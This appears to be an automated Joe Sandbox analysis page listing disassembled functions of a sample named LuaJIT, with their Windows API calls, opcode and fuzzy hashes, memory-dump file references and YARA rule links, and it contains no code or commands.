Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ba8b74a22ca483c8fd1bc8d40430ac476202c0d98097674f29433e3d88bf1dae
Instruction ID: b59bd5f01f5f1a4f1a27631d0679567f92053bcfa6dcee46fbf70e67b78b625d
Opcode Fuzzy Hash: ba8b74a22ca483c8fd1bc8d40430ac476202c0d98097674f29433e3d88bf1dae
Instruction Fuzzy Hash: 14013CB3A00B16A8EB05DFA0D8408ECB7B8FB24748B904125DA5C17758DF35D2A5C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0921C Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF738B0AB79,?,?,?,00007FF738AFAF01,?,?,?,?,00007FF738B102A3), ref: 00007FF738B09271

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4ef4a8a9c81e310ef11842bcd22d7f0a9f6f10a443543fb6a607013a95f03771
Instruction ID: 0eecab4cc6e8a9899e55bd2cc506304fce61f66cd43954740431d6c72d4dea6b
Opcode Fuzzy Hash: 4ef4a8a9c81e310ef11842bcd22d7f0a9f6f10a443543fb6a607013a95f03771
Instruction Fuzzy Hash: 12F0C282B0E203A0FE5476A548007B9E1841F89B80FCC4030CC1E866D6DF3EF480663B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A44600 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738AFB000: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFB014

_fread_nolock.LIBCMT ref: 00007FF738A44651

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _fread_nolock_invalid_parameter_noinfo
String ID:
API String ID: 2335118202-0
Opcode ID: c3e3381ad94b315d625f28b09079c4e3cf748ea191a82bd28328c692f6333f34
Instruction ID: 2c730b3a9e6ea62e4b8692293c45c7cb69d2a70b49b61a6929ee3be2ca14aae8
Opcode Fuzzy Hash: c3e3381ad94b315d625f28b09079c4e3cf748ea191a82bd28328c692f6333f34
Instruction Fuzzy Hash: EC010C3260AB4991DA209B15E48071EE7A4FBC8BC8F900121EACD47B69DF7DC2518B54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFAF9C Relevance: 1.5, APIs: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFAFBE

Part of subcall function 00007FF738AFAF18: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFAF35

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2ee4ea5e302c4353973c3e6e1fb43efa5bc80fb753a258f7a760c2d1a5460acc
Instruction ID: 263e6cdd50806fbd8b27c07e43677131bf8ddd9a4063bc052ade5abf086d24bd
Opcode Fuzzy Hash: 2ee4ea5e302c4353973c3e6e1fb43efa5bc80fb753a258f7a760c2d1a5460acc
Instruction Fuzzy Hash: 54F09063A0E54362EA45BB69A8019BCD1909F41B98FE40131F6598A2C3DE7EF441A729

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A35074 Relevance: 1.5, APIs: 1, Instructions: 30libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FF738A350C2

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction ID: 8d410c63e195f4f399957cd8eabefe7f50bd67cde6a2752d3a7ad7a2d09c7f2b
Opcode Fuzzy Hash: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction Fuzzy Hash: 93011927205A84C9D706AF3EC4504ACB7A4FB09F8DB084225DF896772CEF36D545D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A8ADE0 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,00007FF738A8AF20,?,?,?,?,00007FF738A8AABE), ref: 00007FF738A8AE07

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b234133ac9701a7e180f97e51e021304d3a985ac5e6dee729acabcbe2f3f2af1
Instruction ID: 5911d1b5d2ffc873d0565eb3969c090d320a6730efede651decda2005a71f6a6
Opcode Fuzzy Hash: b234133ac9701a7e180f97e51e021304d3a985ac5e6dee729acabcbe2f3f2af1
Instruction Fuzzy Hash: 90E0397260C68183D320DF01E44061EFBB0F784784F900525EACC03A28CB7DD5548F04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A8AD30 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 00007FF738A8AD5D

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aad2cdb57a82e606b8bf1909aa5a5b1721187632c9fd2cb9b286997d59227066
Instruction ID: 3b893794b7f93dec5f8a3272d78acc1db39c44a1b3a4840e80acec9b03b49a47
Opcode Fuzzy Hash: aad2cdb57a82e606b8bf1909aa5a5b1721187632c9fd2cb9b286997d59227066
Instruction Fuzzy Hash: B1F01272A08A8482D720AB00F44071BFBA0F7D5788F600524EACC47B68CF7ED5A48F44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A8ADA0 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF738A8ADC0

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b006abb5ba116a2f71ee889648bd5e80897fb5eb5064d67c4a973468b98a7769
Instruction ID: 244a75327afa08739c3b8f1de23a66a9ce8aee34ccec8a2934f75b435c092ce5
Opcode Fuzzy Hash: b006abb5ba116a2f71ee889648bd5e80897fb5eb5064d67c4a973468b98a7769
Instruction Fuzzy Hash: 44D0C932A28F8191D744EB16F88510AB7A4FBD5780F908425EAC942A38DF3CC1A98F44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B08FD9 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac4ccb1f1c915e5befafdfacddc3bf375b590ed3ac84c67d6b32a6c8bc94b00
Instruction ID: dd7e251fda98328e68101a27ba245aef976251e1524967a7894f980faf9816cf
Opcode Fuzzy Hash: 3ac4ccb1f1c915e5befafdfacddc3bf375b590ed3ac84c67d6b32a6c8bc94b00
Instruction Fuzzy Hash: A351E331814E0F9BD6A9EF25C888EA1F2E1FF04311F954378C95DD7581EB38A891DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B09493 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30cfa19c150b46d23f1cd31586d476eaef86d845c32cb19d28763e88032111ea
Instruction ID: 74e3733f542c868aaa56c014e7f01d52fb917a936bf15d0c44f87417f6f5f52f
Opcode Fuzzy Hash: 30cfa19c150b46d23f1cd31586d476eaef86d845c32cb19d28763e88032111ea
Instruction Fuzzy Hash: EB41C731818B0E6ADAAABE2598C8A64F291FB55325FD10374D818D35C2FB347891D5E3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF738B1A03C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B0A9A0: GetLastError.KERNEL32(?,?,?,00007FF738B0CEAA,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF738B0CDA3), ref: 00007FF738B0A9AF
Part of subcall function 00007FF738B0A9A0: SetLastError.KERNEL32(?,?,?,00007FF738B0CEAA,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF738B0CDA3), ref: 00007FF738B0AA4D

TranslateName.LIBCMT ref: 00007FF738B1A0A9
TranslateName.LIBCMT ref: 00007FF738B1A0E4
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF738B0717C), ref: 00007FF738B1A129
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF738B0717C), ref: 00007FF738B1A151

Strings

utf8, xrefs: 00007FF738B1A235

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValid
String ID: utf8
API String ID: 2136749100-905460609
Opcode ID: 255424f63280e3e9773fee599e4b3ae831039cf322cd8a585effd0c24e2c78c8
Instruction ID: 3cbfc327b91b69ef45dae646443941525879e214be89988f2471a8c781f4aece
Opcode Fuzzy Hash: 255424f63280e3e9773fee599e4b3ae831039cf322cd8a585effd0c24e2c78c8
Instruction Fuzzy Hash: 7D91BE23A08783E1E760BF21D4016B9E3A6AB84B80F945131DA4D4B786DF3EF551D36A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B1AA70 Relevance: 10.7, APIs: 7, Instructions: 171COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B0A9A0: GetLastError.KERNEL32(?,?,?,00007FF738B0CEAA,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF738B0CDA3), ref: 00007FF738B0A9AF
Part of subcall function 00007FF738B0A9A0: SetLastError.KERNEL32(?,?,?,00007FF738B0CEAA,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF738B0CDA3), ref: 00007FF738B0AA4D

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF738B07175), ref: 00007FF738B1ABC7
GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF738B1ABE0
ProcessCodePage.LIBCMT ref: 00007FF738B1AC0A
IsValidCodePage.KERNEL32 ref: 00007FF738B1AC1C
IsValidLocale.KERNEL32 ref: 00007FF738B1AC32
GetLocaleInfoW.KERNEL32 ref: 00007FF738B1AC8E
GetLocaleInfoW.KERNEL32 ref: 00007FF738B1ACAA

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 3939093798-0
Opcode ID: c0147808cd7d225f435d5f31bfa55325a6945c6d109dcf6c359c79124503561a
Instruction ID: 9bf1eae73eac93010da4b37073594665901f9534f429a61010edf102b1643787
Opcode Fuzzy Hash: c0147808cd7d225f435d5f31bfa55325a6945c6d109dcf6c359c79124503561a
Instruction Fuzzy Hash: 03719023B04643AAFB10AB60D8506BDE3A6AF44784F945131CA0D4B695EF3EF445E36A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ADD9D4 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF738ADD9F0
RtlCaptureContext.KERNEL32 ref: 00007FF738ADDA1D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF738ADDA37
RtlVirtualUnwind.KERNEL32 ref: 00007FF738ADDA78
IsDebuggerPresent.KERNEL32 ref: 00007FF738ADDACC
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF738ADDAED
UnhandledExceptionFilter.KERNEL32 ref: 00007FF738ADDAF8

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 4123f43c8803a46dbb8661f21826dece359977ba4a8d5ca7671b7c226e4b53b2
Instruction ID: e9effeab0e4d422aa5dce8066608813e0563ec44e8de3a40f96d4ef68f501277
Opcode Fuzzy Hash: 4123f43c8803a46dbb8661f21826dece359977ba4a8d5ca7671b7c226e4b53b2
Instruction Fuzzy Hash: F0317273609BC296EB609F60E8507EEB364FB84744F84443ADA4D87B98DF39D548C724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B129E0 Relevance: 9.3, APIs: 6, Instructions: 280timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF738B12A2A

Part of subcall function 00007FF738B12380: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B12394

_get_daylight.LIBCMT ref: 00007FF738B12A19

Part of subcall function 00007FF738B123E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B123F4

_get_daylight.LIBCMT ref: 00007FF738B12CA2
_get_daylight.LIBCMT ref: 00007FF738B12CB3
_get_daylight.LIBCMT ref: 00007FF738B12CC4
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF738B12ED0), ref: 00007FF738B12CEB

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$InformationTimeZone
String ID:
API String ID: 435049134-0
Opcode ID: 5b0683f923d1bd8e4be057a7007060db423d7f9f6ee5a361d2743fe3d83ed4ea
Instruction ID: d4d47a08f1a0591db6b3c2c2eb6c29b050d8181965e7f849c899fac74d983142
Opcode Fuzzy Hash: 5b0683f923d1bd8e4be057a7007060db423d7f9f6ee5a361d2743fe3d83ed4ea
Instruction Fuzzy Hash: 43B10423F0865365EB20FF31D8415B9E362BB84784F844135EE9C4BA95DF3EE441A369

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B04828 Relevance: 9.2, APIs: 6, Instructions: 246COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B0484A
_get_daylight.LIBCMT ref: 00007FF738B048AA
_get_daylight.LIBCMT ref: 00007FF738B048BB
_get_daylight.LIBCMT ref: 00007FF738B048CC
_isindst.LIBCMT ref: 00007FF738B0491D
_isindst.LIBCMT ref: 00007FF738B04970

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _get_daylight$_isindst$_invalid_parameter_noinfo
String ID:
API String ID: 1405656091-0
Opcode ID: e62ff1e507688fec84e873f323350ed503463cf598c9097b0034628c948750c8
Instruction ID: 7ad3e87250d0608434d748d136f4158ca6ff5c21082fdc1e3500ebc750a0994e
Opcode Fuzzy Hash: e62ff1e507688fec84e873f323350ed503463cf598c9097b0034628c948750c8
Instruction Fuzzy Hash: 4491F4B3B043474BEB58AF25C9417B8E395EB44788F848039DA1D8A789EF3DE6409716

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B08900 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF738B08979
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF738B08991
RtlVirtualUnwind.KERNEL32 ref: 00007FF738B089CC
IsDebuggerPresent.KERNEL32 ref: 00007FF738B08A05
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF738B08A0F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF738B08A1A

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 440864b89a776c0cdd248b829cf902a0f2986e84d5b3976af7ea4912e32b40c1
Instruction ID: 5232777e0f751741baac299c10d1cd01c2dc49df5f9a0b90eca141468f290f3c
Opcode Fuzzy Hash: 440864b89a776c0cdd248b829cf902a0f2986e84d5b3976af7ea4912e32b40c1
Instruction Fuzzy Hash: 3531A233608B8296DB60DF25E8407AEB3A0FB88794F900136EA9D43B58DF3DD145CB15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ABAD60 Relevance: 7.8, APIs: 5, Instructions: 347COMMON

Download Yara Rule

APIs

std::rsfun.LIBCPMTD ref: 00007FF738ABAE84

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: std::rsfun
String ID:
API String ID: 3764944385-0
Opcode ID: 90ea70c2fcb7a1731f4099a8b4a063127315ff39e8d3036ef66f306b6c6371e5
Instruction ID: ac91d1317e243e386aa63c319466fbbf232e78043dc27f657ca278798cd1468d
Opcode Fuzzy Hash: 90ea70c2fcb7a1731f4099a8b4a063127315ff39e8d3036ef66f306b6c6371e5
Instruction Fuzzy Hash: DD020033A196858BD771DB19E480A2EF7E0F788744F504225FA8E87B98DA3DE841DF14

Uniqueness

Uniqueness Score: -1.00%

